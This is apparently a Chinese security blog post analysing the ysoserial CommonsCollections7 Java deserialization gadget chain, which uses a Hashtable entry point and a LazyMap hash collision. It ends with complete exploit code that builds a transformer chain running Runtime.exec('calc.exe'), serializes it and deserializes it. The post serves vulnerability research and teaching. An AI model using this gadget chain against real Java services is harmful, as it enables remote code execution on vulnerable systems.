前言:
CommonsCollections7 外层也是一条新的构造链, 外层由 hashtable 的 readObject 进入, 这条构造链挺有意思, 因为用到了 hash 碰撞
yso 构造分析:
首先构造进行 rce 所需要的转换链, 这里也用的是 chianed 里面套 Constantrans+invoketrans 的方法
接着构造两个 hashmap, 通过 lazymap 的 decorate 用 chained 进行装饰后放进 hashTable, 这两个 lazymap 放进去的值也比较有讲究, 要求计算出来的 lazymap 的 hash 相同
因为这里 hashtable 放进第二个 lazymap 时, 因为两个 lazymap 的 hash 相同, 所以将把第一个 lazymap 的 key 值 yy 放到第二个 lazymap 中 (首先 lazymap.get('yy') 尝试从第二个 lazymap 中拿), 此时将导致 lazymap2 中新添加 yy->processImpl 键值对
为了让后面调用链时发生 hash 碰撞, 所以这里要移除该键值对, 为什么移除在后面调用链进行一个解释
调用链分析:
首先反序列化读出 key 和 value, 此时读出的 key 为 lazymap, 将重新装进 hashtable 中, 这里调用 reconstitutionPut, 将会对 key 算一个 hash 和一个 table 的索引值, 此时要判断是否该索引值处是否已经有元素, 此时要判断已经放进的第一个 lazymap 的 hash 和当前 key 的 hash 是否相同, 那么此时取出来的 entry 的 key 即为第一个 lazymap, 两个 hash 值是相同的, 即
e.hash==hash, 所以进入第二个判断两个 lazymap 是否完全相同
此时将调用 AbstractMap 的 equals 方法, 入口参数值即为要放入的 lazymap
此时将首先判断一下两个 lazymap 的大小一样不一样, 因为之前构造 payload 的时候已经移除了第二个 lazymap 中 yy->yy 键值对, 因此此时两个 lazymap 的空间大小一致都为 1
此时遍历该 map, 首先将取出第一个 lazymap 中 key 和 value 为 yy->1, 如果 value 为 null, 则如果从第二个 lazymap 中取出该 key 的 value 不为 null 并且第二个 lazymap 包含该 key, 则判断两个 lazymap 不一样, 但是这里 value 不为 null, 因此进入 else 判断, 即判断两个 lazymap 的 value 是否相同, 此时调用第二个 lazymap 的 get 函数, key 即为 yy
那么调用了 lazymap.get, 就又回到了我们之前的套路了, 调用 this.factory.transform
此时接着就是调用 chainedtransformer 的 transform 进行 rce 了
手动 exp 构造:
exp.java
- package CommonsCollections7;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.LazyMap;
- import java.io.*;
- import java.util.HashMap;
- import java.util.Hashtable;
- import java.util.Map;
- public class exp {
- public static void main(String[] args) throws IOException {
- Transformer[] trans = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",
- new Class[]{String.class,Class[].class},
- new Object[]{"getRuntime",new Class[0]}),
- new InvokerTransformer("invoke",
- new Class[]{Object.class,Object[].class},
- new Object[]{null,null}
- ),
- new InvokerTransformer("exec",
- new Class[]{String.class},
- new Object[]{"calc.exe"})
- };
- ChainedTransformer chain = new ChainedTransformer(trans);
- // 构造两个 hash 值相同的 lazymap
- Map innerMap1 = new HashMap();
- Map innerMap2 = new HashMap();
- Map lazyMap1 = LazyMap.decorate(innerMap1,chain);
- lazyMap1.put("yy",1);
- Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
- lazyMap2.put("zZ",1);
- Hashtable hashTable = new Hashtable();
- hashTable.put(lazyMap1,1);
- hashTable.put(lazyMap2,2);
- lazyMap2.remove("yy");
- // 序列化
- File file;
- file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser");
- ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
- obj.writeObject(hashTable);
- }
- }
readObj.java
- package CommonsCollections7;
- import java.io.*;
- public class readObj {
- public static void main(String[] args) throws IOException, ClassNotFoundException {
- File file;
- file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser");
- ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
- obj.readObject();
- }
- }
来源: https://www.cnblogs.com/tr1ple/p/12427015.html